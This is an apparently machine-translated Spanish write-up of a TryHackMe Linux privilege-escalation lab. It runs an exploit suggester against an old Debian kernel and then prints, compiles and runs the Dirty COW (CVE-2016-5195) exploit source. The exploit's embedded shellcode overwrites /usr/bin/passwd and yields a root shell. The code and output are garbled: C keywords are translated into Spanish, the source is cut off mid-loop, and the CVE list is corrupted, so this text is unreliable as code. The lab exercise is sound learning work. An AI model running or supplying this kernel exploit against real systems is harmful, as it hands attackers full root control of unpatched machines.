Esta vez, intentaremos "elevación de privilegios usando exploits del núcleo".
La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "

Este artículo es la Parte 10.
Si desea verificar la redacción de Linux PrivSc con TryhackMe, también verifique privilegios electrónicos que exploten copias de seguridad de archivos de historia, archivos de configuración y archivos importantes




Preparación
Primero, inicie la máquina de destino con la máquina de arranque.

Está bien si se muestra la dirección IP.

Esta vez, dado que se intensifica a los privilegios, verificaré para ver dónde se puede conectar a través de SSH.
Conecte usando "User/Password321" como se muestra en TryhackMe.
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─$ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's password: Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 The programs included with the Debian El sistema GNU/Linux es un software gratuito; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: viernes 15 de mayo 06:41:23 2020 desde 192.168.1.125
Exploits de núcleo
Una exploit del núcleo es una exploit que crea vulnerabilidades en el núcleo mismo, como Linux y Windows.
Esencialmente, el núcleo funciona en el modo privilegiado más alto dentro del sistema, por lo que, si se usa mal, tendrá casi todo el sistema bajo control.
Primero, utilizaremos Linux Exploit Suggester 2 para identificar posibles exploits de núcleo en su sistema actual.
user@debian: ~ $ perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl ##### linux explotester 2 ##### kernel local: 2.6.32 Búsqueda de 72 explotaciones ... posibles explotadores [1] American-sign-language cVe-ceve-ceVe-2010101010101010 4344 43 43 43 43 43 4344 43 4344 43 4344 43444444 SUTVER: http://www.securityfocus.com/bid/45408 [2] can_bcm cVe-2010-2959 Fuente: http://www.exploit-db.com/exploits/14814 [3] Dirty_Cow CVE-2016-5195 Fuente: http://www.exploit-db.com/exploits/40616 [4] Exploit_x CVE-2018-14665 Fuente: http://www.exploit-db.com/exploits/45697 [5] Half_nelson1 Alt: Econet CVE-2010-3848 Source: Fuente: http://www.exploit-db.com/exploits/17787 [6] Half_nelson2 Alt: ECONET CVE-2010-3850 Fuente: http://www.exploit-db.com/exploits/17787 [7] Half_nelson3 Alt: ECONET CVE-2010-4073 Fuente http://www.exploit-db.com/exploits/17787 [8] MSR CVE-2013-0268 Fuente: http://www.exploit-db.com/exploits/27297 [9] PKTCDVD CVE-2010-3437: http://www.exploit-db.com/exploits/15150 [10] Ptrace_kmod2 Alt: ia32syscall, Robert_you_suck CVE-2010-3301 Fuente: http://www.expoit-db.com/exploits/15023 [11] Rawmodepty Cve-2014- http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c [12] rds CVE-2010-3904 Fuente: http://www.exploit-db.com/exploits/15285 [13] Reiserfs cVe-201010-1146 fuente: http://www.exploit-db.com/exploits/12130 [14] Video4linux CVE-2010-3081 Fuente: http://www.exploit-db.com/exploits/15024
Hay muchas listas, pero explotemos las famosas a continuación.
[3] Dirty_Cow CVE-2016-5195 Fuente: http://www.exploit-db.com/exploits/40616
Usando " https://dirtycow.ninja/ (Se creará una copia de seguridad de/usr/bin/contraseña en/tmp/back).
usuario@debian: ~ $ cat /home/user/tools/kernel-exploits/dirtycow/c0w.c/ * * una variante Ptrace_pokedata de CVE-2016-5195 * ¡debería funcionar en RHEL 5 y 6 * * (UN) COMENTARIO CORRECTO COMENTACIÓN (X86 o X64)! * $ GCC -PTHREAD C0W.C -O C0W * $ ./C0W * DIREDCOW Root Privilege Escalation * Soporte/usr/bin/passwd .. a/tmp/bak * mmap fa65aa000 * madvise 0 * ptrace 0 * $/usr/bin/root# servidor## server############### * [[SERVER@SERVER@ * [Servidor] uid = 0 (raíz) gid = 501 (foo) grupos = 501 (foo) * @kre80r */ #include<fcntl.h> #incluir<pthread.h> #incluir<string.h> #incluir<stdio.h> #incluir<stdint.h> #incluir<sys/mman.h> #incluir<sys/stat.h> #incluir<sys/types.h> #incluir<sys/wait.h> #incluir<sys/ptrace.h> #incluir<unistd.h> int f; vacío *mapa; pid_t pid; pthread_t pth; stat st st; // Cambiar si no hay permisos para leer char suid_binary [] = "/usr/bin/passwd"; / * * $ msfvenom -p linux/x64/exec cmd =/bin/bash prependSetuid = true -f elf | xxd -i */ unsigned char shell_code[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x01 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 177; / * * $ msfvenom -p linux/x86/exec cmd =/bin/bash prependSetUid = true -f elf | xxd -i unsigned char shell_code [] = {0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x10, 0x00, 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80}; unsigned int sc_len = 136; */ void *MadVisethread (void *arg) {int i, c = 0; para (i = 0; i <200000000; i ++) c+= madvise (map, 100, madv_dontneed); printf ("Madvise %d \ n \ n", c); } int Char *copia de seguridad; printf ("DirtyCow Root Privilege Escalation \ n"); printf ("respaldo %s a /tmp /bak \ n", suid_binary); asprintf (y copia de seguridad, "CP %S /TMP /BAK", Suid_Binary); sistema (copia de seguridad); F = Open (Suid_Binary, O_rdonly); fstat (f, & st); MAP = MMAP (NULL, St.ST_SIZE+SIZOOF (Long), Prot_read, MAP_PRIVATE, F, 0); printf ("mmap %x \ n \ n", mapa); pid = horqu (); if (pid) {waitpid (pid, null, 0); int u, i, o, c = 0, l = sc_len; para (i = 0; i <10000/l; i ++) para (o = 0; o
Compilar y ejecutar el código.
user@debian: ~ $ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w user@Debian: ~ $ ./c0w (___) (oo) _____/@`\ \ ____, // usr/bin // // ^^ ^^ sirtycow shoat lo root /usr/bin/passwd a/tmp/bak mmap 534b7000 madvise 0 ptrace 0
¡Creo que pude obtener privilegios raíz ejecutando/usr/bin/passwd!
usuario@Debian: ~ $/usr/bin/passwd root@debian:/home/user# whoami root
resumen
Esta vez, probé "elevación de privilegios usando exploits de núcleo".
Puede haber sido un poco sorprendente ver que hay hasta 14 vulnerabilidades solo en las exploits del núcleo.
Como es un último recurso, no sé si lo usaré en el futuro, pero tengo que recordarlo.
Referencias y sitios
-